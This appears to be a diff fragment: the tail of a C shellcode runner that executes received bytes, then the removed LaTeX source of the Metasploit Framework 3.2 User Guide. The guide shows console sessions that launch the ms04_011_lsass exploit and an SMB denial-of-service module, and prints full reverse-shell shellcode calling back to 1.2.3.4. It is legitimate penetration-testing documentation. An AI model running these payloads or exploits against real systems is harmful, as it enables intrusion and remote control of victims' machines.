printf("recv'd %d\n", bytes);
|
||||
|
||||
#if defined _WIN32
|
||||
__asm mov edi, new_s
|
||||
#else
|
||||
// TODO: add inlined assembly for "non windows" compiler
|
||||
#endif
|
||||
|
||||
funct = (int (*)()) buf;
|
||||
(int)(*funct)();
|
||||
#if defined _WIN32
|
||||
} __except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
fprintf(stderr, "Got exception: %lu\n", GetExceptionCode());
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
return (0);
|
||||
|
||||
}
|
||||
|
||||
|
Binary file not shown.
|
@ -1,910 +0,0 @@
|
|||
%%
|
||||
% This file is part of the Metasploit Framework.
|
||||
%%
|
||||
|
||||
%
|
||||
% Title: Metasploit Framework User Guide
|
||||
% Version: $Revision: 4068 $
|
||||
%
|
||||
|
||||
\documentclass{report}
|
||||
\usepackage{graphicx}
|
||||
\usepackage{color}
|
||||
\usepackage{amsmath}
|
||||
\usepackage[colorlinks,urlcolor=blue,linkcolor=black,citecolor=blue]{hyperref}
|
||||
|
||||
\begin{document}
|
||||
|
||||
\title{Metasploit Framework User Guide}
|
||||
\author{metasploit.com}
|
||||
|
||||
\begin{titlepage}
|
||||
\begin{center}
|
||||
|
||||
\huge{Metasploit Framework User Guide}
|
||||
\ \\[10mm]
|
||||
\large{Version 3.2}
|
||||
\\[10mm]
|
||||
|
||||
\includegraphics{hacker04.jpg}
|
||||
|
||||
\ \\[10mm]
|
||||
|
||||
\small{\url{http://www.metasploit.com/}}
|
||||
|
||||
\rule{10cm}{1pt} \\[4mm]
|
||||
\renewcommand{\arraystretch}{0.5}
|
||||
\end{center}
|
||||
\end{titlepage}
|
||||
|
||||
\tableofcontents
|
||||
|
||||
\setlength{\parindent}{0pt} \setlength{\parskip}{8pt}
|
||||
|
||||
|
||||
\chapter{Introduction}
|
||||
|
||||
\par
|
||||
This is the official user guide for version 3.2 of the Metasploit Framework. This
|
||||
guide is designed to provide an overview of what the framework is, how it works,
|
||||
and what you can do with it. The latest version of this document can be found
|
||||
on the Metasploit Framework web site.
|
||||
|
||||
\par
|
||||
The Metasploit Framework is a platform for writing, testing, and using exploit code.
|
||||
The primary users of the Framework are professionals performing penetration testing,
|
||||
shellcode development, and vulnerability research.
|
||||
|
||||
\par
|
||||
\pagebreak
|
||||
|
||||
\chapter{Installation}
|
||||
|
||||
\section{Installation on Unix}
|
||||
\label{INSTALL-UNIX}
|
||||
\par
|
||||
Installing the Framework is as easy as extracting the tarball, changing into the
|
||||
created directory, and executing your preferred user interface. We strongly
|
||||
recommend that you use a version of the Ruby interpreter that was built with
|
||||
support for the GNU Readline library. If you are using the Framework on Mac OS
|
||||
X prior to 10.5.1, you will need to install GNU Readline and then recompile the Ruby
|
||||
interpreter. Using a version of Ruby with Readline support enables tab completion
|
||||
of the console interface. The \texttt{msfconsole} user interface is preferred for everyday
|
||||
use, but the \texttt{msfweb} interface can be useful for live demonstrations.
|
||||
|
||||
\par
|
||||
To perform a system-wide installation, we recommend that you copy the entire
|
||||
Framework directory into a globally accessible location (/usr/local/msf) and
|
||||
then create symbolic links from the msf* applications to a directory in the
|
||||
system path (/usr/local/bin). User-specific modules can be placed into
|
||||
\texttt{HOME/.msf3/modules} directory. The structure of this directory should
|
||||
mirror that of the global modules directory found in the framework
|
||||
distribution.
|
||||
|
||||
\par
|
||||
The latest stable release of the Ruby interpreter (1.8.7-p72) contains a bug which
|
||||
breaks many of the Metasploit Framework modules. The only way to work around this
|
||||
bug is by downgrading to an older version of 1.8.6 or by upgrading to the latest
|
||||
stable snapshot of 1.8.7. The latest stable snapshot can be downloaded from
|
||||
\url{ftp://ftp.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz}. For more information
|
||||
about this issue, please see the Ubuntu ticket: \url{https://bugs.launchpad.net/bugs/282302}.
|
||||
|
||||
|
||||
|
||||
\section{Installation on Windows}
|
||||
\label{INSTALL-WIN32}
|
||||
|
||||
\par
|
||||
The Metasploit Framework is fully supported on the Windows platform. To install the Framework on Windows,
|
||||
download the latest version of the Windows installer from \url{http://metasploit.com/framework/download/}, perform
|
||||
an online update, and launch the \texttt{msfgui} interface from the Start Menu. To access a standard
|
||||
\texttt{msfconsole} interface, select the Console option from the Window menu. As an alternative, you can
|
||||
use the \texttt{msfweb} interface, which supports Mozilla Firefox and Internet Explorer.
|
||||
|
||||
|
||||
\section{Platform Caveats}
|
||||
\label{INSTALL-CAVEAT}
|
||||
|
||||
\par
|
||||
When using the Framework on the Windows platform, keep in mind that \texttt{msfgui} and \texttt{msfweb} are the only
|
||||
supported user interfaces. While \texttt{msfcli} may appear to work on the command line, it will will run into
|
||||
trouble as soon as more than one active thread is present. This can prevent most exploits, auxiliary modules,
|
||||
and plugins from functioning. This problem does not occur within Cygwin environment. The Windows platform does
|
||||
not support raw IP packet injection, packet injection, wireless driver exploitation, or SMB relaying attacks
|
||||
without specific configuration. In most cases, those features can be accessed by running Metasploit inside of a
|
||||
Linux-based virtual machine (such as BackTrack 3 in VMWare).
|
||||
|
||||
\section{Supported Operating Systems}
|
||||
\label{INSTALL-SUPPORT}
|
||||
|
||||
\par
|
||||
The Framework should run on almost any Unix-based operating system that includes a complete and modern version
|
||||
of the Ruby interpreter (1.8.4+). Every stable version of the Framework is tested with three primary platforms:
|
||||
|
||||
\begin{itemize}
|
||||
\item Linux 2.6 (x86, ppc)
|
||||
\item Windows NT (2000, XP, 2003, Vista)
|
||||
\item MacOS X 10.5 (x86, ppc)
|
||||
\end{itemize}
|
||||
|
||||
\par
|
||||
For information about manually installing the framework, including all of the required dependencies needed
|
||||
to use the new \texttt{msfgui} interface, please see the framework web site: \url{http://metasploit.com/framework/support}
|
||||
|
||||
\section{Updating the Framework}
|
||||
\label{INSTALL-UPDATE}
|
||||
|
||||
\par
|
||||
The Framework can be updated using a standard \texttt{Subversion} client. The
|
||||
old \texttt{msfupdate} tool is no longer supported. Windows users can click on
|
||||
the Online Update link within the Metasploit 3 program folder on the Start Menu.
|
||||
To obtain the latest updates on a Unix-like platform, change into the Framework
|
||||
installation directory and execute \texttt{svn update}. If you are accessing the
|
||||
internet through a HTTP proxy server, please see the Subversion FAQ on proxy
|
||||
access: \url{http://subversion.tigris.org/faq.html#proxy}
|
||||
|
||||
\pagebreak
|
||||
|
||||
\chapter{Getting Started}
|
||||
|
||||
\section{The Console Interface}
|
||||
\label{STARTED-CONSOLE}
|
||||
|
||||
\par
|
||||
After you have installed the Framework, you should verify that everything is
|
||||
working properly The easiest way to do this is to execute the
|
||||
\texttt{msfconsole} user interface. If you are using Windows, start the \texttt{msfgui}
|
||||
interface and access the \texttt{Console} link from the Window menu.
|
||||
The console should display an ASCII art logo, print the current version, some module
|
||||
counts, and drop to a "msf> " prompt. From this prompt, type \texttt{help} to get a list of
|
||||
valid commands. You are currently in the "main" mode; this allows you to list
|
||||
exploits, list payloads, and configure global options. To list all available
|
||||
exploits, type \texttt{show exploits}. To obtain more information about a given
|
||||
exploit, type \texttt{info module\_name}.
|
||||
|
||||
\par
|
||||
The console interface was designed to be flexible and fast. If you
|
||||
enter a command that is not recognized by the console, it will scan the system
|
||||
path to determine if it is a system command. \footnote{If you are accessing the console
|
||||
through \texttt{msfweb}, this feature has been disabled for security reasons.}
|
||||
If it finds a match, that command will be executed with the supplied arguments. This allows you to use
|
||||
your standard set of tools without having to leave the console. The console interface
|
||||
supports tab completion of known commands. The \texttt{msfweb} interface
|
||||
includes tab completion by default, but the \texttt{msfconsole} interface requires that
|
||||
Ruby was built with the Readline library. For more information on tab completion, please
|
||||
refer to appendix \ref{REF-TAB}.
|
||||
|
||||
\par
|
||||
The console startup will similar to the text below.
|
||||
|
||||
\begin{verbatim}
|
||||
|
||||
|
||||
|
||||
o 8 o o
|
||||
8 8 8
|
||||
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
|
||||
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
|
||||
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
|
||||
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8
|
||||
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
|
||||
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
|
||||
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
=[ msf v3.1-release
|
||||
+ -- --=[ 263 exploits - 116 payloads
|
||||
+ -- --=[ 17 encoders - 6 nops
|
||||
=[ 45 aux
|
||||
|
||||
msf >
|
||||
\end{verbatim}
|
||||
|
||||
\section{The GUI Interface}
|
||||
\label{STARTED-GUI}
|
||||
|
||||
\par
|
||||
The \texttt{msfgui} interface was introduced in version 3.1 and provides the functionality
|
||||
of \texttt{msfconsole} in addition to many new features. To access a \texttt{msfconsole}
|
||||
shell, select the Console option from the Window menu. To search for a module within the
|
||||
module tree, enter a string or regular expression into the search box and click the button
|
||||
labeled Find. All matching modules will appear the tree below. To execute a module,
|
||||
double-click its name in the tree, or right-click its name and select the Execute option.
|
||||
To view the source code of any module, right-click its name and select the View Code option.
|
||||
|
||||
\par
|
||||
Once a module is selected, a wizard-based interface will walk you through the process of
|
||||
configuring and launching the module. In the case of exploit modules, the output from
|
||||
the module will appear in the main window under the Module Output tab. Any sessions created
|
||||
by the module will appear in the Sessions view in the main window. To access a session,
|
||||
double-click the session name in the view, or open a Console and use the \texttt{sessions}
|
||||
command to interact with the shell. Metepreter sessions will spawn a shell when double-clicked,
|
||||
but also offer a process and file browser via the right-click context menu.
|
||||
|
||||
|
||||
\section{The Command Line Interface}
|
||||
\label{STARTED-CLI}
|
||||
|
||||
\par
|
||||
If you are looking for a way to automate exploit testing, or simply do not want
|
||||
to use an interactive interface, then \texttt{msfcli} may be the solution.
|
||||
\footnote{The msfcli interface will not work properly with the native Windows version of Ruby}
|
||||
This interface takes a module name as the first parameter, followed by the options
|
||||
in a VAR=VAL format, and finally an action code to specify what should be done.
|
||||
The module name is used to determine which exploit or auxiliary module you
|
||||
want to launch.
|
||||
|
||||
\par
|
||||
The action code is a single letter; S for summary, O for options, A for advanced
|
||||
options, I for IDS evasions, P for payloads, T for targets, AC for auxiliary
|
||||
actions, C to try a vulnerability check, and E to exploit. The saved
|
||||
datastore will be loaded and used at startup, allowing you to configure
|
||||
convenient default options in the Global or module-specific datastore of
|
||||
\texttt{msfconsole}, save them, and take advantage of them in the
|
||||
\texttt{msfcli} interface. As of version 3.1, the \texttt{msfcli} interface
|
||||
will also work with auxiliary modules.
|
||||
|
||||
\section{The Web Interface}
|
||||
\label{STARTED-WEB}
|
||||
|
||||
\par
|
||||
The \texttt{msfweb} interface is based on Ruby on Rails. To access this interface,
|
||||
execute \texttt{msfweb} to start up the server. The \texttt{msfweb}
|
||||
interface uses the WEBrick web server to handle requests. By default, \texttt{msfweb} will listen
|
||||
on the loopback address (127.0.0.1) on port 55555. A log message should be displayed indicating that
|
||||
the service has started. To access the interface, open your browser to the appropriate URL
|
||||
(\url{http://127.0.0.1:55555/} by default). The main \texttt{msfweb} interface consists of a toolbar
|
||||
containing various icons and a background with the metasploit logo. If you want access to a console,
|
||||
click the Console link. This console interface is nearly identical to the standard
|
||||
\texttt{msfconsole} interface. The Exploits, Auxiliary, and Payloads links will walk you through
|
||||
the process of selecting a module, configuring it, and running it. Once an exploit is run and
|
||||
a session is created, you can access these sessions from the Sessions link. These icons will open up
|
||||
a sub-window within the page. These windows can be moved, minimized, maximized, and closed.
|
||||
|
||||
\pagebreak
|
||||
\chapter{The DataStore}
|
||||
|
||||
\par
|
||||
The datastore system is a core component of the Framework. The interfaces use
|
||||
it to configure settings, the payloads use it patch opcodes, the exploits
|
||||
use it to define parameters, and it is used internally to pass options between
|
||||
modules. There are two types of datastores. First, there is a single global
|
||||
datastore that can be accessed using the \texttt{setg} and \texttt{unsetg}
|
||||
commands from \texttt{msfconsole}. Second, each module instance has its own
|
||||
datastore in which arbitrary options or parameters can be stored. For
|
||||
example, when the \texttt{RHOST} option is set, its value is stored in the
|
||||
datastore of the module instance that it was set relative to. In the event
|
||||
that an option was not set in a module instance's datastore, the framework
|
||||
will consult the global datastore to see if it was set there.
|
||||
|
||||
\section{Global DataStore}
|
||||
\label{ENV-GLOBAL}
|
||||
\par
|
||||
The Global datastore is accessed through the console via the \texttt{setg} and
|
||||
\texttt{unsetg} commands. The following example shows the Global datastore
|
||||
state after a fresh installation. Calling \texttt{setg} with no arguments
|
||||
displays the current global datastore. Default settings are automatically
|
||||
loaded when the interface starts.
|
||||
|
||||
\begin{verbatim}
|
||||
msf > setg
|
||||
|
||||
Global
|
||||
======
|
||||
|
||||
No entries in data store.
|
||||
|
||||
\end{verbatim}
|
||||
|
||||
\section{Module DataStore}
|
||||
\label{ENV-TEMP}
|
||||
\par
|
||||
|
||||
The module datastore is accessed through the \texttt{set} and \texttt{unset}
|
||||
commands. This datastore only applies to the currently loaded module;
|
||||
switching to another module via the \texttt{use} command will result in the
|
||||
module datastore for the current module being swapped out with the datastore
|
||||
of the new module. If no module is currently active, the \texttt{set} and
|
||||
\texttt{unset} commands will operate on the global datastore. Switching back
|
||||
to the original module will initialize a new datastore for the module. To
|
||||
persist the contents of either the global or module-specific datastores, the
|
||||
\texttt{save} command should be used.
|
||||
|
||||
\section{Saved DataStore}
|
||||
\label{ENV-SAVE}
|
||||
|
||||
\par
|
||||
The \texttt{save} command can be used to synchronize the Global and all module
|
||||
datastores to disk. The saved environment is written to
|
||||
\texttt{HOME/.msf3/config} and will be loaded when any of the user interfaces
|
||||
are executed.
|
||||
|
||||
\section{DataStore Efficiency}
|
||||
\label{ENV-EFF}
|
||||
|
||||
\par
|
||||
This split datastore system allows you save time during exploit development
|
||||
and penetration testing. Common options between exploits can be defined in the
|
||||
Global datastore once and automatically used in any exploit you load thereafter.
|
||||
|
||||
\par
|
||||
The example below shows how the \texttt{LPORT}, \texttt{LHOST}, and
|
||||
\texttt{PAYLOAD} global datastore can be used to save time when exploiting a
|
||||
set of Windows-based targets. If this datastore was set and a Linux exploit
|
||||
was being used, the module datastore (via \texttt{set} and \texttt{unset})
|
||||
could be used to override these defaults.
|
||||
|
||||
{\footnotesize
|
||||
\begin{verbatim}
|
||||
f > setg LHOST 192.168.0.10
|
||||
LHOST => 192.168.0.10
|
||||
msf > setg LPORT 4445
|
||||
LPORT => 4445
|
||||
msf > setg PAYLOAD windows/shell/reverse_tcp
|
||||
PAYLOAD => windows/shell/reverse_tcp
|
||||
msf > use windows/smb/ms04_011_lsass
|
||||
msf exploit(ms04_011_lsass) > show options
|
||||
|
||||
Module options:
|
||||
|
||||
...
|
||||
|
||||
Payload options:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process
|
||||
LHOST 192.168.0.10 yes The local address
|
||||
LPORT 4445 yes The local port
|
||||
|
||||
...
|
||||
|
||||
\end{verbatim}}
|
||||
|
||||
\section{DataStore Variables}
|
||||
\label{ENV-VAR}
|
||||
\par
|
||||
The datastore can be used to configure many aspects of the Framework, ranging
|
||||
from user interface settings to specific timeout options in the network socket
|
||||
API. This section describes the most commonly used environment variables.
|
||||
|
||||
\par
|
||||
For a complete listing of all environment variables, please see the file
|
||||
Environment.txt in the ``documentation'' subdirectory of the Framework.
|
||||
|
||||
\subsection{LogLevel}
|
||||
\par
|
||||
This variable is used to control the verbosity of log messages provided
|
||||
by the components of the Framework. If this variable is not set, framework
|
||||
logging is disabled. Setting this variable to 0 will turn on default log
|
||||
messages. A value of 1 will enable additional, non-verbose log messages that
|
||||
may be helpful in troubleshooting. A value of 2 will enable verbose debug
|
||||
logging. A value of 3 will enable all logging and may generate a large amount
|
||||
of log messages. Only use this when much additional information is required.
|
||||
Log files are stored in the logs subdirectory of the user's configuration
|
||||
directory (~/.msf3/logs). Unlike version 2 of the framework, debugging
|
||||
messages are never written directly to the console.
|
||||
|
||||
\subsection{MsfModulePaths}
|
||||
\par
|
||||
This variable can be used to add additional paths from which to load modules.
|
||||
By default, the framework will load modules from the modules directory found
|
||||
within the framework install. It will also load modules from ~/.msf3/modules
|
||||
if such a path exists. This variable makes it possible to statically define
|
||||
additional paths from which to load modules.
|
||||
|
||||
\pagebreak
|
||||
|
||||
\chapter{Using the Framework}
|
||||
|
||||
\section{Choosing a Module}
|
||||
\par
|
||||
From the \texttt{msfconsole} interface, you can view the list of modules that
|
||||
are available for you to interact with. You can see all available modules
|
||||
through the \texttt{show all} command. To see the list of modules of a
|
||||
particular type you can use the \texttt{show moduletype} command, where
|
||||
\textit{moduletype} is any one of exploits, encoders, payloads, and so on.
|
||||
You can select a module with the \texttt{use} command by specifying the
|
||||
module's name as the argument. The \texttt{info} command can be used to view
|
||||
information about a module without using it. Unlike Metasploit 2.x, the new
|
||||
version of Metasploit supports interacting with each different module types
|
||||
through the \texttt{use} command. In Metasploit 2.x, only exploit modules
|
||||
could be interacted with.
|
||||
|
||||
\section{Exploit Modules}
|
||||
|
||||
\par
|
||||
Exploit modules are the defacto module in Metasploit which are used to
|
||||
encapsulate an exploit.
|
||||
|
||||
\subsection{Configuring the Active Exploit}
|
||||
|
||||
\par
|
||||
Once you have selected an exploit with the \texttt{use} command, the next step
|
||||
is to determine what options it requires. This can be accomplished with the
|
||||
\texttt{show options} command. Most exploits use \texttt{RHOST} to specify the
|
||||
target address and \texttt{RPORT} to set the target port. Use the \texttt{set}
|
||||
command to configure the appropriate values for all required options. If you
|
||||
have any questions about what a given option does, refer to the module source
|
||||
code. Advanced options are available with some exploit modules, these can be
|
||||
viewed with the \texttt{show advanced} command. Options useful for IDS and IPS
|
||||
evasion can be viewed with the \texttt{show evasion} command.
|
||||
|
||||
\subsection{Verifying the Exploit Options}
|
||||
|
||||
\par
|
||||
The \texttt{check} command can be used to determine whether the target
|
||||
system is vulnerable to the active exploit module. This is a quick way to
|
||||
verify that all options have been correctly set and that the target is
|
||||
actually vulnerable to exploitation. Not all exploit modules have implemented
|
||||
the check functionality. In many cases it is nearly impossible to determine
|
||||
whether a service is vulnerable without actually exploiting it. A
|
||||
\texttt{check} command should never result in the target system crashing or
|
||||
becoming unavailable. Many modules display version information and
|
||||
expect you to analyze it before proceeding.
|
||||
|
||||
\subsection{Selecting a Target}
|
||||
|
||||
\par Many exploits will require the \texttt{TARGET} environment variable to be
|
||||
set to the index number of the desired target. The \texttt{show targets}
|
||||
command will list all targets provided by the exploit module. Many exploits
|
||||
will default to a brute-force target type; this may not be desirable in all
|
||||
situations.
|
||||
|
||||
\subsection{Selecting the Payload}
|
||||
|
||||
\par The payload is the actual code that will run on the target system after
|
||||
a successful exploit attempt. Use the \texttt{show payloads} command to list
|
||||
all payloads compatible with the current exploit. If you are behind a
|
||||
firewall, you may want to use a bind shell payload, if your target is behind
|
||||
one and you are not, you would use a reverse connect payload. You can use the
|
||||
\texttt{info payload\_name} command to view detailed information about a given
|
||||
payload.
|
||||
|
||||
\par
|
||||
Once you have decided on a payload, use the \texttt{set} command to specify
|
||||
the payload module name as the value for the \texttt{PAYLOAD} environment
|
||||
variable. Once the payload has been set, use the \texttt{show options} command
|
||||
to display all available payload options. Most payloads have at least one
|
||||
required option. Advanced options are provided by a handful of payload
|
||||
options; use the \texttt{show advanced} command to view these. Please keep in
|
||||
mind that you will be allowed to select any payload compatible with that
|
||||
exploit, even if it not compatible with your currently selected
|
||||
\texttt{TARGET}. For example, if you select a Linux target, yet choose a BSD
|
||||
payload, you should not expect the exploit to work.
|
||||
|
||||
\subsection{Launching the Exploit}
|
||||
|
||||
\par The \texttt{exploit} command will launch the attack. If everything went
|
||||
well, your payload will execute and potentially provide you with an
|
||||
interactive command shell on the exploited system.
|
||||
|
||||
\section{Auxiliary Modules}
|
||||
|
||||
\par
|
||||
Metasploit 3.0 supports the concept of auxiliary modules which can be used to
|
||||
perform arbitrary, one-off actions such as port scanning, denial of service,
|
||||
and even fuzzing.
|
||||
|
||||
\subsection{Running an Auxiliary Task}
|
||||
|
||||
\par
|
||||
Auxiliary modules are quite a bit similar to exploit modules. Instead of
|
||||
having targets, they have actions, which are specified through the
|
||||
\texttt{ACTION} option. To run an auxiliary module, you can either use the
|
||||
\texttt{run} command, or you can use the \texttt{exploit} command -- they're
|
||||
both the same thing.
|
||||
|
||||
\begin{verbatim}
|
||||
msf > use dos/windows/smb/ms06_035_mailslot
|
||||
msf auxiliary(ms06_035_mailslot) > set RHOST 1.2.3.4
|
||||
RHOST => 1.2.3.4
|
||||
msf auxiliary(ms06_035_mailslot) > run
|
||||
[*] Mangling the kernel, two bytes at a time...
|
||||
\end{verbatim}
|
||||
|
||||
\section{Payload Modules}
|
||||
|
||||
\par
|
||||
Payload modules encapsulate the arbitrary code (shellcode) that is executed as
|
||||
the result of an exploit succeeding. Payloads typically build a communication
|
||||
channel between Metasploit and the victim host.
|
||||
|
||||
\subsection{Generating a Payload}
|
||||
|
||||
\par
|
||||
The console interface supports generating different forms of a payload. This
|
||||
is a new feature in Metasploit 3.0. To generate payloads, first select a
|
||||
payload through the \texttt{use} command.
|
||||
|
||||
\begin{verbatim}
|
||||
msf > use windows/shell_reverse_tcp
|
||||
msf payload(shell_reverse_tcp) > generate -h
|
||||
Usage: generate [options]
|
||||
|
||||
Generates a payload.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-b <opt> The list of characters to avoid: '\x00\xff'
|
||||
-e <opt> The name of the encoder module to use.
|
||||
-h Help banner.
|
||||
-o <opt> A comma separated list of options in VAR=VAL format.
|
||||
-s <opt> NOP sled length.
|
||||
-t <opt> The output type: ruby, perl, c, or raw.
|
||||
|
||||
msf payload(shell_reverse_tcp) >
|
||||
\end{verbatim}
|
||||
|
||||
\par
|
||||
Using the options supported by the \texttt{generate} command, different
|
||||
formats of a payload can be generated. Some payloads will require options
|
||||
which can be specified through the \texttt{-o} parameter. Additionally, a
|
||||
format to convey the generated payload can be specified through the
|
||||
\texttt{-t} parameter. To save the resulting data to a local file, pass the
|
||||
\texttt{-f} parameter followed by the output file name.
|
||||
|
||||
\begin{verbatim}
|
||||
msf payload(shell_reverse_tcp) > set LHOST 1.2.3.4
|
||||
LHOST => 1.2.3.4
|
||||
msf payload(shell_reverse_tcp) > generate -t ruby
|
||||
# windows/shell_reverse_tcp - 287 bytes
|
||||
# http://www.metasploit.com
|
||||
# EXITFUNC=seh, LPORT=4444, LHOST=1.2.3.4
|
||||
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" +
|
||||
"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" +
|
||||
"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" +
|
||||
"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" +
|
||||
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" +
|
||||
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" +
|
||||
"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" +
|
||||
"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
|
||||
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" +
|
||||
"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" +
|
||||
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" +
|
||||
"\x53\x43\x53\xff\xd0\x68\x01\x02\x03\x04\x66\x68\x11\x5c" +
|
||||
"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" +
|
||||
"\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" +
|
||||
"\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" +
|
||||
"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" +
|
||||
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" +
|
||||
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" +
|
||||
"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" +
|
||||
"\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" +
|
||||
"\x04\x5f\x53\xff\xd6\xff\xd0"
|
||||
msf payload(shell_reverse_tcp) >
|
||||
\end{verbatim}
|
||||
|
||||
\section{Nop Modules}
|
||||
|
||||
\par
|
||||
NOP modules are used to generate no-operation instructions that can be used
|
||||
for padding out buffers.
|
||||
|
||||
\subsection{Generating a NOP Sled}
|
||||
|
||||
\par
|
||||
The NOP module console interface supports generating a NOP sled of an
|
||||
arbitrary size and displaying it in a given format through the
|
||||
\texttt{generate} command.
|
||||
|
||||
\begin{verbatim}
|
||||
msf > use x86/opty2
|
||||
msf nop(opty2) > generate -h
|
||||
Usage: generate [options] length
|
||||
|
||||
Generates a NOP sled of a given length.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-b <opt> The list of characters to avoid: '\x00\xff'
|
||||
-h Help banner.
|
||||
-s <opt> The comma separated list of registers to save.
|
||||
-t <opt> The output type: ruby, perl, c, or raw.
|
||||
|
||||
msf nop(opty2) >
|
||||
\end{verbatim}
|
||||
|
||||
\par
|
||||
To generate a 50 byte NOP sled that is displayed as a C-style buffer, the
|
||||
following command can be run:
|
||||
|
||||
\begin{verbatim}
|
||||
msf nop(opty2) > generate -t c 50
|
||||
unsigned char buf[] =
|
||||
"\xf5\x3d\x05\x15\xf8\x67\xba\x7d\x08\xd6\x66\x9f\xb8\x2d\xb6"
|
||||
"\x24\xbe\xb1\x3f\x43\x1d\x93\xb2\x37\x35\x84\xd5\x14\x40\xb4"
|
||||
"\xb3\x41\xb9\x48\x04\x99\x46\xa9\xb0\xb7\x2f\xfd\x96\x4a\x98"
|
||||
"\x92\xb5\xd4\x4f\x91";
|
||||
msf nop(opty2) >
|
||||
\end{verbatim}
|
||||
|
||||
\pagebreak
|
||||
\chapter{Advanced Features}
|
||||
|
||||
\par
|
||||
This section covers some of the advanced features that can be found in this
|
||||
release. These features can be used in any compatible exploit and highlight
|
||||
the strength of developing attack code using an exploit framework.
|
||||
|
||||
\section{The Meterpreter}
|
||||
\par
|
||||
The Meterpreter is an advanced multi-function payload that can be dynamically
|
||||
extended at run-time. In normal terms, this means that it provides you with a
|
||||
basic shell and allows you to add new features to it as needed. Please refer
|
||||
to the Meterpreter documentation for an in-depth description of how it works
|
||||
and what you can do with it. The Meterpreter manual can be found in the
|
||||
``documentation'' subdirectory of the Framework as well as online at:
|
||||
|
||||
\url{http://www.metasploit.com/documents/meterpreter.pdf}
|
||||
|
||||
\section{PassiveX Payloads}
|
||||
|
||||
\par The Metasploit Framework can be used to
|
||||
load arbitrary ActiveX controls into a target process. This feature works by
|
||||
patching the registry of the target system and causing the exploited process
|
||||
to launch internet explorer with a URL pointing back to the Framework. The
|
||||
Framework starts up a simple web server that accepts the request and sends
|
||||
back a web page instructing it to load an ActiveX component. The exploited
|
||||
system then downloads, registers, and executes the ActiveX.
|
||||
|
||||
\par
|
||||
The basic PassiveX payload, \texttt{windows/xxx/reverse\_http}, supports any
|
||||
custom ActiveX that you develop. In addition to the base payload, three other
|
||||
PassiveX modules are included in the Framework. These can be used to execute a
|
||||
command shell, load the Meterpreter, or inject a VNC service. When any of
|
||||
these three payloads are used, the PassiveX object will emulate a TCP
|
||||
connection through HTTP GET and POST requests. This allows you to interact
|
||||
with a command shell, VNC, or the Meterpreter using nothing but standard HTTP
|
||||
traffic.
|
||||
|
||||
\par
|
||||
Since PassiveX uses the Internet Explorer browser to load the ActiveX
|
||||
component, it will pass right through an outbound web proxy, using whatever
|
||||
system and authentication settings that have already been configured. The
|
||||
PassiveX payloads will only work when the target system has Internet Explorer
|
||||
6.0 installed (not 5.5 or 7.0). For more information about PassiveX,
|
||||
please see the Uninformed Journal article titled "Post-Exploitation on Windows
|
||||
using ActiveX Controls", located online at:
|
||||
|
||||
\url{http://www.uninformed.org/?v=1&a=3&t=pdf}
|
||||
|
||||
\section{Chainable Proxies}
|
||||
\par
|
||||
The Framework includes transparent support for TCP proxies, this release has
|
||||
handler routines for HTTP CONNECT and SOCKSv4 servers. To use a proxy with a
|
||||
given exploit, the \texttt{Proxies} environment variable needs to be set. The value of
|
||||
this variable is a comma-separated list of proxy servers, where each server is
|
||||
in the format type:host:port. The type values are 'http' for HTTP CONNECT and
|
||||
'socks4' for SOCKS v4. The proxy chain can be of any length; testing shows that
|
||||
the system was stable with over five hundred SOCKS and HTTP proxies configured
|
||||
randomly in a chain. The proxy chain only masks the exploit request, the
|
||||
automatic connection to the payload is not relayed through the proxy chain at
|
||||
this time.
|
||||
|
||||
\section{Win32 UploadExec Payloads}
|
||||
\par
|
||||
Although Unix systems normally include all of the tools you need for
|
||||
post-exploitation, Windows systems are notoriously lacking in a decent command
|
||||
line toolkit. The windows/upexec/* payloads included in this release allow you to
|
||||
simultaneously exploit a Windows system, upload your favorite tool, and execute
|
||||
it, all across the payload socket connection. When combined with a
|
||||
self-extracting rootkit or scripting language interpreter (perl.exe!), this can
|
||||
be a very powerful feature. The Meterpreter payloads are usually much better
|
||||
suited for penetration testing tasks.
|
||||
|
||||
